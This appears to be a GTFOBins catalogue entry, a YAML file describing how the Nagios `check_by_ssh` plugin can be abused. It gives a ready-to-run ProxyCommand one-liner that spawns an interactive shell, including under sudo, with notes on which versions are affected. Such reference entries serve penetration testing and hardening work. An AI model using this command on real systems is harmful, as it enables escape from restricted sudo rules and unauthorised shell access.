mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 22:46:19 +01:00
18 lines
666 B
Plaintext
18 lines
666 B
Plaintext
---
|
|
comment: |-
|
|
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
|
functions:
|
|
shell:
|
|
- code: |-
|
|
check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C x
|
|
comment: |-
|
|
The shell will only last 10 seconds.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
version: |-
|
|
When `check_by_ssh` version `2.4.5` (2023-05-31) or later from the Nagios Plugins project in it's default configuration is used, it does not work anymore.
|
|
|
|
It does still work on previous versions from the Nagios Plugins project or all versions from the Monitoring Project (e.g. used by Ubuntu/Debian).
|
|
...
|